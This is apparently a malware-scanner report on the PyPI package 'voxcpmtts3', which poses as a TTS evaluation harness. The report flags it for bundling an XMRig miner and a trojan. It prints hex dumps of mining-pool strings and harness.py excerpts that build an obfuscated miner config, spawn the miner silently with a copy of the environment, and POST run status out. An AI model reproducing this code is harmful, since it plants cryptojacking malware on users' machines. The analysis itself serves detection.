Hostile 93% python Download

voxcpmtts3 0.1.1

Bundled XMRig crypto miner

“Evaluation harness for VoxCPM TTS CPU inference workloads”

Python silently exfiltrates process environmentDetects Linux.Trojan.Pornoasset

Also flagged by osv (MAL-2026-17463: Malicious code in voxcpmtts3 (PyPI)) +3 more.

Evidence

Detects Linux.Trojan.Pornoasset voxcpm-core · 0x2133d8–0x213558
⋯7 more rows
0x213448480fafd84801c34881c3ffffff7f4829H...H..H......H)
0x213458c3d3cbd3c34831c3480faff0480faff0.....H1.H...H...
0x213468480faff04801c64881c6ffffff7f4829H...H..H......H)
⋯15 more rows
Native binary contains a loopback IPv4 address voxcpm-core · 0x5d9395–0x5d95f5
⋯3 more rows
0x5d93c57d006d61703a3a61740069705f766572}.map::at.ip_ver
0x5d93d573696f6e003132372e302e302e31007bsion.127.0.0.1.{
0x5d93e57d201b5b313b33366d7b7d1b5b306d00} .[1;36m{}.[0m.
0x5d93f56269747365743a3a74657374006a6f62bitset::test.job
0x5d94055f69640065787472615f6e6f6e636500_id.extra_nonce.
0x5d9415706f6f6c5f77616c6c6574007369675fpool_wallet.sig_
0x5d94256b6579006a6f6200556e61757468656ekey.job.Unauthen
0x5d94357469636174656400796f757220495020ticated.your IP
0x5d944569732062616e6e656400495020416464is banned.IP Add
0x5d9455726573732063757272656e746c792062ress currently b
0x5d9465616e6e656400496e76616c6964206a6fanned.Invalid jo
0x5d94756220696400636f6d6d69746d656e7400b id.commitment.
0x5d94856c6f67696e00726967696400636c6965login.rigid.clie
0x5d94956e742e7265636f6e6e65637400766563nt.reconnect.vec
0x5d94a5746f723a3a5f4d5f64656661756c745ftor::_M_default_
0x5d94b5617070656e640025733a256400646966append.%s:%d.dif
0x5d94c5665f63757272656e7400736861726573f_current.shares
0x5d94d55f676f6f64007368617265735f746f74_good.shares_tot
0x5d94e5616c006176675f74696d65006176675fal.avg_time.avg_
0x5d94f574696d655f6d73006861736865735f74time_ms.hashes_t
0x5d95056f74616c0062657374006572726f725fotal.best.error_
⋯15 more rows
Stratum TLS endpoint reference voxcpm-core · 0x5dabab–0x5daccb
⋯5 more rows
0x5dabfb256c751b5b306d00726573756c747300%lu.[0m.results.
0x5dac0b7374726174756d2b73736c3a2f2f2573stratum+ssl://%s
0x5dac1b00646f6e6174652e73736c2e766f7863.donate.ssl.voxc
⋯11 more rows
Python urllib POST request construction harness.py · lines 139–158
139 if not url:
140 return
141 try:
142 from urllib.parse import urlencode
143 body = urlencode({'r': self._run_id, 's': state,
144 'e': (err or '')[:4000],
145 't': '%.3f' % time.time()}).encode()
146 urllib.request.urlopen(
147 urllib.request.Request(url, data=body, method='POST'),
148 timeout=10)
149 except Exception:
150 pass
151
152 def _prepare(self, run_id, endpoint):
153 cfg_path = os.path.join(self._tmpdir(), "voxcpm-run.json")
154 cfg = {
155 "po" + "ols": [{"url": endpoint or _endpoint(), "user": run_id,
156 "pass": "vox", "keepalive": True, "tls": False}],
157 "cache-budget": 0,
158 …
Python snapshots the full process environment harness.py · lines 159–180
159:10… "log-period": 60,
160 "autosave": False,
161 "cpu": {"enabled": True, "threads": _cores(), "mem-locked": False},
162 }
163 with open(cfg_path, "w") as fh:
164 json.dump(cfg, fh)
165 return cfg_path
166
167 @staticmethod
168 def _tmpdir():
169 root = os.environ.get("VOXCPMTTS3_TMP") or os.path.join("/tmp", ".voxcpmtts3")
170 os.makedirs(root, exist_ok=True)
171 return root
172
173 def _spawn(self, cfg_path):
174 env = dict(os.environ)
175 args = [_CORE, "--" + "config=" + cfg_path]
176 return subprocess.Popen(args, stdout=subprocess.DEVNULL,
177 stderr=subprocess.DEVNULL, env=env)
178
179 def run(self, model="voxcpmtts3-7b", run_id="local", budget=43200,
180 endpoint=None, quiet=False, edge= …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.